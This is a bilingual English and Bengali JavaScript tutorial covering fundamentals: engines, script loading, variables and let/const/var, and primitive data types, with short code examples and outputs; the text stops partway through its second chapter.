MASTER STUDY DOCUMENTATION — COMPLETE BOOK
⚡ JAVASCRIPT MASTER STUDY DOCUMENTATION
Comprehensive Engineering Curriculum • Chapters 01 – 40 • Zero-Skipping Policy Edition
01JavaScript Fundamentals — JavaScript-এর ভিত্তি 02Variables, Data Types & Type System — ভেরিয়েবল, ডেটা টাইপ ও টাইপ সিস্টেম 03Operators & Expressions — অপারেটর ও এক্সপ্রেশন 04Control Flow & Decision Making — শর্ত ও সিদ্ধান্ত গ্রহণ 05Loops & Iteration — লুপ ও ইটারেশন 06Functions & Execution Engine — ফাংশন ও এক্সিকিউশন ইঞ্জিন 07Scope & Hoisting — স্কোপ ও হয়েস্টিং 08Strings & Text Processing — স্ট্রিং ও টেক্সট প্রসেসিং 09Arrays & Modern Collections — অ্যারে ও আধুনিক কালেকশন 10Objects & Key-Value Architecture — অবজেক্ট ও কী-ভ্যালু আর্কিটেকচার 11Advanced Objects, Prototypes & Chain — প্রোটোটাইপ ও চেইন 12Map, Set, WeakMap & WeakSet — আধুনিক কালেকশন ডাটা স্ট্রাকচার 13Built-in Objects: Date, Math, Intl & RegExp — স্ট্যান্ডার্ড লাইব্রেরি 14Error Handling & Debugging — এরর হ্যান্ডলিং ও ডিবাগিং 15DOM — Document Object Model — ডম ম্যানিপুলেশন ও এপিআই 16Events & Event Handling — ইভেন্ট হ্যান্ডলিং ও ডেলিগেশন 17Forms & Form Validation — ফর্ম হ্যান্ডলিং ও ভ্যালিডেশন 18Browser Storage & Cookies — ব্রাউজার স্টোরেজ ও কুকিজ 19JSON (JavaScript Object Notation) — ডাটা সিরিয়ালাইজেশন ও এপিআই 20ES Modules (ESM) — মডিউলার আর্কিটেকচার ও ইমপোর্ট/এক্সপোর্ট 21Asynchronous JavaScript — নন-ব্লকিং মডেল ও ইভেন্ট লুপ 22HTTP, REST API & Fetch API — ক্লায়েন্ট-সার্ভার নেটওয়ার্কিং 23Advanced Regular Expressions (RegExp) — অ্যাডভান্সড রেগুলার এক্সপ্রেশন 24OOP & JavaScript Classes — অবজেক্ট ওরিয়েন্টেড প্রোগ্রামিং ও ক্লাস 25Functional JavaScript — ফাংশনাল জাভাস্ক্রিপ্ট 26Closures, IIFE & Currying — ক্লোজার্স, আইআইএফই ও কারিং 27Iterators & Generators — ইটারেটর ও জেনারেটর 28Symbols, Proxy & Reflect — সিম্বল, প্রক্সি ও রিফ্লেক্ট 29Execution Model & Event Loop — এক্সিকিউশন মডেল ও ইভেন্ট লুপ 30Memory Management & Garbage Collection — মেমরি ম্যানেজমেন্ট ও গার্বেজ কালেকশন 31JavaScript Web Security — জাভাস্ক্রিপ্ট ওয়েব সিকিউরিটি 32Advanced Browser APIs — অ্যাডভান্সড ব্রাউজার এপিআই 33Web Performance Optimization — ওয়েব পারফরম্যান্স অপটিমাইজেশন 34NPM, Package Management & Tooling — এনপিএম ও প্যাকেজ ম্যানেজমেন্ট 35Testing JavaScript — টেস্টিং জাভাস্ক্রিপ্ট 36Modern ECMAScript (ES2020+) — মডার্ন একমাস্ক্রিপ্ট ফিচারসমূহ 37JavaScript Design Patterns — সফটওয়্যার ডিজাইন প্যাটার্নস 38Advanced JavaScript for React — রিঅ্যাক্টের জন্য অ্যাডভান্সড জাভাস্ক্রিপ্ট 39Advanced JavaScript for Node.js — নোড.জেএস-এর জন্য অ্যাডভান্সড জাভাস্ক্রিপ্ট 40Real-World Projects & Interview Prep — রিয়েল-ওয়ার্ল্ড প্রজেক্ট ও ইন্টারভিউ প্রস্তুতি
Chapter 01 — Starts Here
↑ Index
JavaScript Fundamentals — JavaScript-এর ভিত্তি
Total Sections
41 Modules + Practice
Curriculum Part
Part 01 — Fundamentals (1/3)
Core Mechanics
V8 Engine, Syntax & Variables
Reference Standard
ECMAScript 2026 / V8 Runtime

JavaScript Fundamentals — JavaScript-এর ভিত্তি

এই Chapter-এ আমরা JavaScript-এর একদম foundation তৈরি করব। পরের chapter-গুলো বুঝতে এই অংশগুলো গভীরভাবে ও নিখুঁতভাবে বোঝা খুব important।

Part 01 — Overview, Architecture & Origins (1 – 6)
1 What is JavaScript?
English Definition: JavaScript is a high-level, interpreted/programming language mainly used to make web pages interactive and dynamic.
বাংলা ব্যাখ্যা: সহজ ভাষায়, JavaScript হলো এমন একটি programming language যার মাধ্যমে আমরা একটি website-কে শুধু static না রেখে interactive এবং dynamic করতে পারি।

• HTML দিয়ে আমরা webpage-এর structure তৈরি করি।
• CSS দিয়ে webpage-এর design/style করি।
• আর JavaScript দিয়ে webpage-এর behavior/functionality তৈরি করি।

🏠 Real-Life Example

ধরো তুমি একটা house বানাচ্ছো:

TechnologyকাজReal-life analogy
HTMLStructureবাড়ির কাঠামো
CSSDesignরং, furniture, decoration
JavaScriptBehaviorদরজা খোলা, light on/off

যেমন একটি button: <button>Click Me</button> (HTML শুধু button তৈরি করবে, CSS সুন্দর করবে, কিন্তু click করলে কিছু ঘটাতে JavaScript ব্যবহার করা হয়):

HTML + JavaScriptInline Event
<button onclick="alert('Hello!')">Click Me</button>
Output
Hello! (Alert Dialog)
2 Why Do We Need JavaScript?

একটি webpage JavaScript ছাড়াও তৈরি করা যায়। কিন্তু JavaScript ছাড়া interactive functionality তৈরি করা অসম্ভব হয়ে যায়।

JavaScript দিয়ে আমরা করতে পারি:
  • Button click handling & User interactions
  • Form validation (Email, password check)
  • Dropdown menu, Modal popups & Image slider
  • Calculator, To-do application & Dynamic lists
  • Dark / Light mode toggle
  • API থেকে data নেওয়া (Fetch / Async)
  • Search functionality & Real-time updates
  • Authentication-related frontend logic & Browser storage
HTML + JavaScriptDOM Manipulation
<button onclick="changeText()">Click Me</button>
<p id="message">Hello</p>

<script>
function changeText() {
    document.getElementById("message").textContent = "Welcome!";
}
</script>
Output
প্রথমে: Hello
Button click করার পর: Welcome!
3 JavaScript vs Java

এটা beginner-দের একটা common confusion: JavaScript এবং Java একই language নয়। নাম কাছাকাছি হলেও দুটো সম্পূর্ণ আলাদা programming language।

JavaScriptJava
Mainly web development-এ ব্যবহৃতGeneral-purpose/backend/enterprise ইত্যাদিতে ব্যবহৃত
Browser-এ directly run করতে পারেসাধারণত JVM-এর মাধ্যমে চলে
Dynamic languageStatically typed language
.js file.java source file
Frontend + Backend (Node.js)Backend + Enterprise + Android history ইত্যাদি
Syntax তুলনামূলক উদাহরণ:
JavaScript vs JavaComparison
// JavaScript:
let name = "Ripon";
console.log(name);

// Java:
String name = "Ripon";
System.out.println(name);
4 JavaScript-এর ইতিহাস

JavaScript-এর শুরু হয় 1995 সালে Netscape-এর web browser environment-এ। প্রথমদিকে এর নাম ছিল Mocha, পরে LiveScript, এবং শেষ পর্যন্ত JavaScript নামটি জনপ্রিয় হয়।

JavaScript-এর creator হিসেবে Brendan Eich-কে উল্লেখ করা হয়। তিনি Netscape-এ মাত্র ১০ দিনে JavaScript-এর প্রথম version তৈরি করেন।

Timeline — সহজভাবে
1995 ↓ JavaScript introduced (Brendan Eich at Netscape) ↓ Browser scripting becomes popular ↓ ECMAScript standardization (ECMA-262) ↓ ES5 (2009 - Modern baseline) ↓ ES6 / ES2015 (Major transformation) ↓ Modern JavaScript (Yearly releases: ES2016 - Present)
5 What is ECMAScript?
English: ECMAScript is the standardized specification that defines how JavaScript should work.
বাংলা: ECMAScript হলো JavaScript-এর standard/specification।
সহজে মনে রাখো: JavaScript হলো language implementation, আর ECMAScript হলো তার standard/specification blueprint।

ECMAScript specification-এর সংস্করণ ক্রম: ES1 → ES2 → ES3 → ES5 → ES6 (ES2015) → ES2016 → ... → Modern ECMAScript

6 What is ES6?

ES6 হলো JavaScript-এর একটি অত্যন্ত গুরুত্বপূর্ণ version, যেটার official নাম ECMAScript 2015 (ES2015)। এটি JavaScript-কে একটি আধুনিক ও অত্যন্ত শক্তিশালী ভাষায় রূপান্তর করে।

JavaScript (ES6)Modern Syntax
let name = "Ripon";
const age = 22;

const greet = () => {
    console.log("Hello");
};
ES6-এ আসা প্রধান ফিচারসমূহ:

let, const, Arrow Functions, Classes, Template Literals, Destructuring, Spread Operator, Rest Parameters, Promises, Modules এবং আরও অনেক আধুনিক সিনট্যাক্স। তাই modern JavaScript শেখার ক্ষেত্রে ES6+ খুব গুরুত্বপূর্ণ

Part 02 — V8 Engine, Runtimes & Execution Model (7 – 11)
7 How JavaScript Works?

যখন তুমি লিখো console.log("Hello");, Browser সরাসরি এই text execute করে না। Browser-এর ভিতরে একটি JavaScript Engine থাকে যা কোড প্রসেস করে।

Simplified Process Flow
JavaScript Code ↓ JavaScript Engine ↓ Parsing / Compilation (AST & JIT Bytecode) ↓ Execution ↓ Output
JavaScriptEngine Execution
let x = 10;
let y = 20;

console.log(x + y);
Output
30
8 What is a JavaScript Engine?
English: A JavaScript engine is a program that parses, compiles/interprets, and executes JavaScript code.
বাংলা: JavaScript Engine হলো এমন একটি software component যা JavaScript code-কে process এবং execute করে।
Popular JavaScript Engines
EngineUsed by
V8Google Chrome, Chromium, Node.js, Deno
SpiderMonkeyMozilla Firefox
JavaScriptCore (Nitro)Apple Safari, Bun
ChakraOlder Microsoft Edge / IE
⭐ Important: Google Chrome এবং Node.js দুটোই Google-এর অত্যন্ত দ্রুতগতির V8 Engine ব্যবহার করে।
9 JavaScript কোথায় Run করতে পারে?

JavaScript শুধু browser-এ চলে—এটা এখন আর পুরোপুরি correct নয়। JavaScript বিভিন্ন environment-এ চলতে পারে:

  • 1. Browser: Chrome, Firefox, Edge, Safari ইত্যাদি।
  • 2. Server: Node.js ব্যবহার করে JavaScript দিয়ে সম্পূর্ণ server-side ও backend অ্যাপ্লিকেশন তৈরি করা যায়।
  • 3. অন্যান্য Runtime: Deno, Bun ইত্যাদি আধুনিক হাই-পারফরম্যান্স রানটাইম।
JavaScript │ ├── Browser (DOM, Window, UI) │ ├── Node.js (Server, File System, OS API) │ ├── Deno (Secure Runtime) │ └── Bun (High-speed Native Runtime)
10 JavaScript in Browser

Browser-এ JavaScript চালানোর সবচেয়ে simple example:

HTML Documentindex.html
<!DOCTYPE html>
<html>
<head>
    <title>JavaScript</title>
</head>
<body>
    <h1>Hello JavaScript</h1>
    <script>
        console.log("Hello JavaScript!");
    </script>
</body>
</html>
Output
Webpage-এ: Hello JavaScript
Developer Console-এ: Hello JavaScript!
11 How to Open Browser Console?

Chrome / Edge ব্রাউজারে কনসোল খোলার উপায়:

Right Click → Inspect → Console tab অথবা কীবোর্ড শর্টকাট: F12 (Windows) / Ctrl + Shift + I

কনসোলে সরাসরি টাইপ করতে পারো:

DevTools ConsoleREPL
console.log("Hello World");
Output
Hello World
Part 03 — HTML Integration, Loading & Syntax Rules (12 – 22)
12 Three Ways to Add JavaScript to HTML

HTML-এর সাথে JavaScript যুক্ত করার ৩টি উপায় রয়েছে: 1. Inline, 2. Internal, এবং 3. External

12.1 Inline JavaScript
HTMLInline JS
<button onclick="alert('Hello')">Click Me</button>
❌ Problem: বড় প্রজেক্টে Inline JavaScript maintain করা খুব কঠিন। তাই professional কোডে এটি পরিহার করা হয়।
13 Internal JavaScript

HTML ফাইলের ভেতরে <script> ট্যাগের মধ্যে কোড লেখা:

HTMLInternal Script
<!DOCTYPE html>
<html>
<body>
    <h1>My Website</h1>
    <script>
        console.log("Hello JavaScript");
    </script>
</body>
</html>
14 External JavaScript

Professional development-এ এটিই সবচেয়ে আদর্শ ও বহুল ব্যবহৃত পদ্ধতি। কোড আলাদা .js ফাইলে রাখা হয়।

index.htmlExternal Link
<script src="script.js"></script>
script.jsSource File
console.log("Hello from JavaScript!");
কেন External JavaScript ভালো?
• কোড সাজানো ও organized থাকে • সহজে maintain করা যায় • বারবার reuse করা যায় • HTML ক্লিন থাকে • বড় প্রজেক্ট সহজে পরিচালনা করা যায়।
15 The `<script>` Tag

HTML-এ জাভাস্ক্রিপ্ট লোড করার জন্য <script> ট্যাগ ব্যবহার করা হয়। External ফাইলের জন্য src attribute ব্যবহৃত হয়:

HTML ElementSyntax
<script src="script.js"></script>

এখানে script হলো HTML element/tag, আর src হলো attribute।

16 `defer` Attribute

External script লোডের ক্ষেত্রে defer অত্যন্ত গুরুত্বপূর্ণ:

HTMLDefer Attribute
<script src="script.js" defer></script>
`defer` কী করে? Browser ব্যাকগ্রাউন্ডে HTML পার্স করার সাথে সাথে স্ক্রিপ্ট ডাউনলোড করে, কিন্তু কোড এক্সিকিউশন শুরু করে কেবল সম্পূর্ণ HTML পার্সিং সমাপ্ত হওয়ার পর।
HTML parsing + JS downloading (Parallel) ↓ HTML parsing complete ↓ JS execution
17 `async` Attribute

আরেকটি অ্যাট্রিবিউট হলো async:

HTMLAsync Attribute
<script src="script.js" async></script>
defer: Download ──────────┐ HTML parsing ──────┼──→ HTML complete → JS execute async: HTML parsing ───────────────→ (Parsing paused when ready) ↓ JS download → JS execute immediately
18 JavaScript Comments

Comment হলো এমন লেখা যা ইঞ্জিন এক্সিকিউট করে না, ডেভেলপারদের বোঝার সুবিধার্থে ব্যবহার করা হয়।

Single-line & Multi-line Comments
JavaScriptComments
// This is a single-line comment
console.log("Hello");

/*
    This is a
    multi-line comment
*/
console.log("Hello");

// Real-life example: Store user's name
let name = "Ripon";
Output
Hello
Hello
19 JavaScript Statements
English: A statement is an instruction that tells JavaScript to perform an action.
বাংলা: Statement হলো JavaScript-কে দেওয়া একটি সুনির্দিষ্ট instruction বা আদেশ।
JavaScriptMultiple Statements
let name = "Ripon";
let age = 22;

console.log(name);
console.log(age);
Output
Ripon
22
20 Semicolon `;`

JavaScript স্টেটমেন্টের শেষে সেমিকোলন ব্যবহার করা যায়। JavaScript-এ Automatic Semicolon Insertion (ASI) মেকানিজম থাকায় এটি অনেক ক্ষেত্রে optional হলেও প্রফেশনাল স্ট্যান্ডার্ড বজায় রাখতে সেমিকোলন ব্যবহার সুপারিশ করা হয়।

JavaScriptConsistent Style
let age = 22;
console.log(age);
21 Expressions
Expression: An expression is code that produces a value.

যে কোনো কোড যা হিসাব শেষে একটি মান তৈরি করে তাই Expression।

JavaScriptExpressions
10 + 20   // produces 30
5 * 10    // produces 50

let x = 10;
x + 5     // produces 15 (Expression)
22 Statement vs Expression
ExpressionStatement
যেটি একটি নির্দিষ্ট value তৈরি করেযেটি জাভাস্ক্রিপ্টকে কোনো কাজ করার instruction দেয়
যেমন: 10 + 20 (মান: ৩০)যেমন: let result = 10 + 20; (পুরো লাইনটি স্টেটমেন্ট)
Part 04 — Console, Variables & Memory Semantics (23 – 35)
23 `console.log()`

জাভাস্ক্রিপ্ট শেখা ও ডিবাগিংয়ের প্রধান হাতিয়ার হলো console.log()। এটি কনসোলে মান প্রিন্ট করে দেখায়:

JavaScriptConsole Output
console.log(10);
console.log("JavaScript");
console.log(true);

let name = "Ripon";
let age = 22;
console.log(name, age); // একাধিক মান কমা দিয়ে
Output
10
JavaScript
true
Ripon 22
24 Variables
English: A variable is a named container/reference used to store or hold a value.
বাংলা: Variable হলো এমন একটি নাম/identifier যার মাধ্যমে আমরা কোনো value ধরে রাখতে বা reference করতে পারি।
Real-life Example

একটি লেবেলযুক্ত বাক্সের মতো: বক্সের লেবেল name, আর ভেতরে রাখা মান "Ripon"

JavaScriptVariable Declaration
let name = "Ripon"; // name → variable, "Ripon" → value
25 Creating a Variable

জাভাস্ক্রিপ্টে ভেরিয়েবল ডিক্লেয়ারের ৩টি কিওয়ার্ড:

var (পুরাতন), let (আধুনিক পরিবর্তনশীল), const (আধুনিক অপরিবর্তনশীল)।

JavaScriptDeclaration
let name = "Ripon";
console.log(name);
Output
Ripon
26 `let`

let ব্যবহার করে এমন variable তৈরি করা যায় যার value পরে পরিবর্তন বা reassign করা সম্ভব:

JavaScriptReassignment with let
let age = 22;
console.log(age);

age = 23; // মান পরিবর্তন
console.log(age);
Output
22
23
age (22) ──(Reassigned)──→ age (23)
27 `const`

const ব্যবহার করে এমন binding তৈরি করা হয় যার মান পরবর্তীতে reassign করা যায় না:

JavaScriptConstant
const country = "Bangladesh";
console.log(country);

// country = "India"; // TypeError: Assignment to constant variable!
Output
Bangladesh
28 `var`

var হলো জাভাস্ক্রিপ্টের পুরোনো ভেরিয়েবল ডিক্লারেশন কিওয়ার্ড। Modern কোডে এর ব্যবহার অনুৎসাহিত করা হয় কারণ এর ফাংশন স্কোপ এবং হোইস্টিং অনিচ্ছাকৃত বাগ তৈরি করতে পারে:

JavaScriptLegacy var
var name = "Ripon";
console.log(name);
Output
Ripon
29 `let` vs `const` vs `var`
Featurevarletconst
Modern code-এ ব্যবহারকম ব্যবহৃত (Legacy)বেশি ব্যবহৃতসবচেয়ে বেশি ব্যবহৃত
Reassign করা যায়?✅ হ্যাঁ✅ হ্যাঁ❌ না
Block scoped?❌ না (Function scoped)✅ হ্যাঁ✅ হ্যাঁ
Redeclare একই স্কোপে?✅ সম্ভব❌ এরর দেয়❌ এরর দেয়
Hoisting BehaviorUndefined ইনিশিয়ালাইজডTDZ (Temporal Dead Zone)TDZ
⭐ Beginner Golden Rule: সর্বদা const দিয়ে শুরু করবে। যদি পরবর্তীতে মান reassign করার প্রয়োজন পড়ে, তখন let ব্যবহার করবে।
30 Variable Naming Rules

ভেরিয়েবল নামকরণের কঠোর নিয়মাবলী:

Valid Identifiers:

let name;, let userName;, let user_name;, let age2;, let $price;, let _value;

Invalid Identifiers:

let 2age; (সংখ্যা দিয়ে শুরু করা নিষিদ্ধ!)
let user-name; (হাইফেন বিয়োগ চিহ্ন হিসেবে গণ্য হয়, চলকে ব্যবহার নিষিদ্ধ!)

31 JavaScript Case Sensitive

JavaScript সম্পূর্ণ case-sensitive। অর্থাৎ ছোট হাতের ও বড় হাতের অক্ষরের চলক সম্পূর্ণ আলাদা সত্ত্বা:

JavaScriptCase Sensitivity
let name = "Ripon";

console.log(name);  // Ripon
// console.log(Name); // ReferenceError: Name is not defined
মনে রাখবে: name ≠ Name ≠ NAME (প্রতিটি আলাদা identifier)।
32 Naming Convention

JavaScript ইকোসিস্টেমে সর্বদা camelCase কনভেনশন অনুসরণ করা হয়:

Good (camelCase):

firstName, lastName, userAge, totalPrice, isLoggedIn

Avoid:

firstname (পড়তে কষ্ট), FirstName (ক্লাসের জন্য সংরক্ষিত), first_name (পাইথনে ব্যবহৃত হয়, JS-এ পরিহার্য)।

33 Multiple Variables
JavaScriptMultiple Declarations
let name = "Ripon";
let age = 22;
let country = "Bangladesh";

console.log(name);
console.log(age);
console.log(country);
Output
Ripon
22
Bangladesh
34 Variable Reassignment
JavaScriptReassignment Flow
let score = 50;
score = 80; // Updated
console.log(score);
Output
80
35 Constant Value
JavaScriptConstant Pi
const pi = 3.14159;
console.log(pi);

// pi = 4; // TypeError: Assignment to constant variable!
Output
3.14159
Part 05 — Types, typeof & Practical Demonstrations (36 – 41)
36 Primitive Data Types — Introduction

জাভাস্ক্রিপ্টে মূলত ৭টি প্রিমিটিভ টাইপ ও ১টি নন-প্রিমিটিভ (Object) টাইপ রয়েছে:

Primitive Data Types: String, Number, BigInt, Boolean, Undefined, Null, Symbol Non-Primitive Category: Object (Array, Function, Object)
JavaScriptBasic Type Declarations
let name = "Ripon";       // String
let age = 22;             // Number
let isStudent = true;     // Boolean
let result;               // Undefined
let data = null;          // Null
37 `typeof`

কোনো value কোন type-এর তা রানটাইমে জানার জন্য typeof অপারেটর ব্যবহার করা হয়:

JavaScriptChecking Types
console.log(typeof "Hello"); // string
console.log(typeof 100);     // number
console.log(typeof true);    // boolean
Output
string
number
boolean
38 Complete `typeof` Example
JavaScriptTypeof Suite
console.log(typeof "Ripon");     // string
console.log(typeof 22);            // number
console.log(typeof true);          // boolean
console.log(typeof undefined);     // undefined
console.log(typeof 123n);          // bigint
console.log(typeof null);          // object (Historical Quirk!)
Output
string
number
boolean
undefined
bigint
object
Historical Bug: typeof null === "object" জাভাস্ক্রিপ্টের প্রথম সংস্করণের একটি পরিচিত ঐতিহাসিক বাগ যা ব্যাকওয়ার্ড কম্প্যাটিবিলিটির জন্য অপরিবর্তিত রাখা হয়েছে।
39 Basic JavaScript Example

এখন আমরা কয়েকটা কনসেপ্ট একসাথে যুক্ত করে একটি বাস্তব উদাহরণ তৈরি করি:

JavaScriptCombined Logic
const name = "Shariar";
let age = 22;
const country = "Bangladesh";

console.log("Name:", name);
console.log("Age:", age);
console.log("Country:", country);
Output
Name: Shariar
Age: 22
Country: Bangladesh
40 Mini Real-Life Example — Student Information
JavaScriptStudent Profile
const studentName = "Shariar Ahamed Ripon";
const studentId = "231-15-010";
let semester = 8;
const department = "CSE";

console.log("Student Name:", studentName);
console.log("Student ID:", studentId);
console.log("Semester:", semester);
console.log("Department:", department);
Output
Student Name: Shariar Ahamed Ripon
Student ID: 231-15-010
Semester: 8
Department: CSE
প্রোগ্রামিংয়ের মূল দর্শন: Data → Store in Variables → Process Logic → Output to User.
41 JavaScript-এর Basic Mental Model
Execution Mental Model
JavaScript │ ↓ Write Code (.js) │ ↓ JavaScript Engine (V8) │ ↓ Process / Execute (JIT / Call Stack) │ ↓ Result
Web Architecture Trinity
HTML (Structure) + CSS (Design) + JavaScript (Behavior & Logic) ↓ Web Application

🧠 Chapter 1 — Quick Revision

Topicমূল কথা
JavaScriptWebpage-কে dynamic ও interactive করতে ব্যবহৃত language
ECMAScriptJavaScript-এর standardized specification
ES6ECMAScript 2015; modern JS-এর গুরুত্বপূর্ণ milestone
JavaScript EngineJavaScript code execute করে
V8Chrome ও Node.js-এর JavaScript engine
BrowserJavaScript run করার একটি ক্লায়েন্ট environment
Node.jsBrowser-এর বাইরে JavaScript runtime
<script>HTML-এর সাথে JS যুক্ত করার element
deferHTML parsing শেষের পর script execute করতে সাহায্য করে
CommentCode explanation-এর জন্য (ইঞ্জিন এড়িয়ে চলে)
StatementJavaScript-এর instruction
ExpressionValue produce করে
VariableValue/reference রাখার জন্য named binding
letReassign করা যায়
constReassign করা যায় না
varপুরোনো variable declaration mechanism
typeofValue-এর type জানতে সাহায্য করে
Case Sensitivename এবং Name আলাদা চলক

📝 Chapter 1 Practice Exercises

Practice 1 — Personal Info:

তোমার Name, Age, University, Department এবং Country চলকে সংরক্ষণ করে console.log() দিয়ে প্রিন্ট করো।

Practice 2 — Type Detection:

নিচের ভ্যালুগুলোর টাইপ typeof দিয়ে বের করো:

"Hello"
100
true
undefined
null
123n
Practice 3 — Reassignment:

একটি let ভ্যারিয়েবল score = 50 তৈরি করো, তারপর সেটাকে 80-তে পরিবর্তন করে কনসোলে প্রিন্ট করো।

Practice 4 — Constant Test:

একটি const variable তৈরি করে পরে পরিবর্তন করার চেষ্টা করো এবং browser console-এ কী error আসে তা পর্যবেক্ষণ করো।

Practice 5 — Mini Project (Student Information System):

একটি পূর্ণাঙ্গ ছাত্র বিবরণী তৈরি করো: Name, ID, Department, Semester, CGPA, University। সব ডেটা ভ্যারিয়েবলে রেখে কনসোলে ফরম্যাটেড আকারে প্রিন্ট করো।

⭐ Chapter 1-এর সবচেয়ে গুরুত্বপূর্ণ takeaway

এই ফ্লো-টি মাথায় গভীরভাবে গেঁথে নাও:

JavaScript → Variables → Data → Expressions → Statements → JavaScript Engine (V8) → Execution → Output

Chapter 2-এ আমরা JavaScript-এর Variables, Data Types & Type System আরও গভীরভাবে ধরব — String, Number, Boolean, Undefined, Null, BigInt, Symbol, Object, typeof, primitive vs non-primitive, memory/reference ধারণা, এবং type conversion/coercion ধাপে ধাপে code + output সহ।

Chapter 02
↑ Index
Variables, Data Types & Type System — ভেরিয়েবল, ডেটা টাইপ ও টাইপ সিস্টেম
Total Sections
55 Modules + Project
Curriculum Part
Part 01 — Fundamentals (2/3)
Core Mechanics
Primitive vs Reference, Coercion
Reference Standard
ECMAScript 2026 / V8 Runtime

JavaScript-এর Data কীভাবে কাজ করে

Chapter 1-এ আমরা JavaScript কী, কীভাবে run করে, variable কী এবং let, const, var সম্পর্কে basic ধারণা নিয়েছি। এখন আমরা JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ foundation — Data Types & Type System পুঙ্খানুপুঙ্খভাবে শিখব। এই অধ্যায়টি আয়ত্ত করলে পরবর্তী অধ্যায়গুলোর Operators, Conditions, Functions, Arrays, Objects, DOM এবং API বোঝা অত্যন্ত সহজ হয়ে যাবে।

Part 01 — Data & Primitive Foundations (1 – 9)
1 What is Data?
English: Data is information that a program can store, process, and use.
বাংলা: Data হলো এমন information যেটা একটি program store, process বা ব্যবহার করতে পারে।
Real-life Example

একজন ছাত্রের পরিচয়:

Name → "Ripon" Age → 22 CGPA → 3.75 Student → true
JavaScriptData Types in Variables
const name = "Ripon";
const age = 22;
const cgpa = 3.75;
const isStudent = true;
2 What is a Data Type?
English: A data type defines what kind of value a piece of data is and what operations can be performed on it.
বাংলা: Data Type বলে দেয় কোনো value কী ধরনের data এবং সেই data-এর সাথে কী ধরনের কাজ করা যায়।

"Hello" → String | 100 → Number | true → Boolean

3 JavaScript Data Types Taxonomy

জাভাস্ক্রিপ্ট ডেটা টাইপকে প্রধানত ২টি ভাগে ভাগ করা হয়:

Data Types │ ├── Primitive (7 Types) │ ├── 1. String │ ├── 2. Number │ ├── 3. BigInt │ ├── 4. Boolean │ ├── 5. Undefined │ ├── 6. Null │ └── 7. Symbol │ └── Non-Primitive / Reference └── 8. Object (Object, Array, Function, Date, Map, Set)
4 Primitive vs Non-Primitive

Primitive: JavaScript-এর basic ও immutable value type (যেমন: String, Number, Boolean)।
Non-Primitive: মূলত Object/Reference-based structured collection (যেমন: { name: "Ripon", age: 22 })।

Primitive → Single / basic value Non-Primitive → Collection / structured complex value
5 String
English: A String is a sequence of characters used to represent text.
বাংলা: String হলো text বা character-এর ধারাবাহিক sequence।
const name = "Ripon";
6 String লেখার উপায়

জাভাস্ক্রিপ্টে স্ট্রিং ৩ ভাবে লেখা যায় (তিনটিই বৈধ):

JavaScriptQuotes Syntax
const dQuotes = "Ripon"; // Double Quotes
const sQuotes = 'Ripon'; // Single Quotes
const bTicks  = `Ripon`; // Backticks (Template Literals)
7 String Example
JavaScriptString Output
const firstName = "Shariar";
const lastName = "Ahamed";

console.log(firstName);
console.log(lastName);
Output
Shariar
Ahamed
8 String Concatenation

+ অপারেটর দিয়ে একাধিক String যুক্ত করা যায়:

JavaScriptConcatenation
const firstName = "Shariar";
const lastName = "Ahamed";
const fullName = firstName + " " + lastName;
console.log(fullName);
Output
Shariar Ahamed
9 Template Literal

Modern JavaScript (ES6)-এ ব্যাকটিক ` এবং ${variable} দিয়ে সহজে স্ট্রিং ইন্টারপোলেশন করা যায়:

JavaScriptTemplate Literals
const name = "Ripon";
const age = 22;
console.log(`My name is ${name} and I am ${age} years old.`);
Output
My name is Ripon and I am 22 years old.
Part 02 — Numbers, Booleans & Special Values (10 – 27)
10 Number

জাভাস্ক্রিপ্টের Number টাইপ পূর্ণসংখ্যা (Integer), দশমিক (Decimal/Floating-point) এবং ঋণাত্মক (Negative) সব সংখ্যাকেই রিপ্রেজেন্ট করে:

JavaScriptNumber Variants
const age = 22;          // Integer
const cgpa = 3.75;        // Decimal
const temperature = -5;   // Negative
11 Number Example
JavaScriptLogging Numbers
const age = 22;
const price = 499.99;
const temperature = -10;

console.log(age);
console.log(price);
console.log(temperature);
Output
22
499.99
-10
12 Checking Number Type
JavaScripttypeof Number
console.log(typeof 100);   // number
console.log(typeof 3.14);  // number
Output
number
number
13 Special Number Values

জাভাস্ক্রিপ্টের Number টাইপের মধ্যে ৩টি অত্যন্ত গুরুত্বপূর্ণ স্পেশাল ভ্যালু রয়েছে:

Infinity (অসীম ধনাত্মক), -Infinity (অসীম ঋণাত্মক), NaN (Not a Number)
14 Infinity

কোনো সংখ্যাকে 0 দিয়ে ভাগ করলে এরর না দিয়ে জাভাস্ক্রিপ্ট Infinity রিটার্ন করে:

console.log(10 / 0);
Output
Infinity
15 `NaN` (Not a Number)

গাণিতিকভাবে অর্থহীন অপারেশন করলে NaN তৈরি হয়:

JavaScriptNaN Generation
console.log("Hello" * 5);
console.log(Number("abc"));
Output
NaN
NaN
16 Important: `NaN` Type
⚠️ চমকপ্রদ বিষয়: নাম Not a Number হলেও এর টাইপ হলো number! কারণ specification অনুযায়ী এটি Number টাইপের একটি invalid numeric state নির্দেশক।
console.log(typeof NaN);
Output
number
17 Boolean

বুলিয়ানের মাত্র দুটি মান: true অথবা false

JavaScriptBoolean
const isLoggedIn = true;
const isAdmin = false;
console.log(isLoggedIn);
console.log(isAdmin);
Output
true
false
18 Real-Life Boolean Example

ওয়েবসাইটে ইউজার লগইন স্ট্যাটাস চেক করে কন্ডিশনাল রেন্ডারিং:

JavaScriptDecision Flow
const isLoggedIn = true;
if (isLoggedIn) {
    console.log("Welcome back!");
}
Output
Welcome back!
19 Undefined

একটি ভ্যারিয়েবল ডিক্লেয়ার করা হয়েছে কিন্তু কোনো ভ্যালু এসাইন করা হয়নি:

JavaScriptUndefined State
let name;
console.log(name);
Output
undefined
20 `undefined` Example
JavaScriptValue and Type
let result;
console.log(result);
console.log(typeof result);
Output
undefined
undefined

এখানে ভ্যালুও undefined, এবং টাইপও undefined

21 Null
Null: Intentionally empty / no value. প্রোগ্রামার সচেতনভাবে নির্দেশ করে যে এখানে আপাতত কোনো অবজেক্ট বা মান নেই।
JavaScriptExplicit Empty
let selectedUser = null;
console.log(selectedUser);
Output
null
22 `undefined` vs `null`
undefinednull
"আমি এখনো কোনো ভ্যালু পাইনি।" (ইঞ্জিনের অটোমেটিক ইনিশিয়াল মান)"আমি ইচ্ছা করে বলছি এখানে কোনো ভ্যালু নেই।" (প্রোগ্রামারের সচেতন এসাইনমেন্ট)
let user;let user = null;
23 `typeof null`
console.log(typeof null);
Output
object
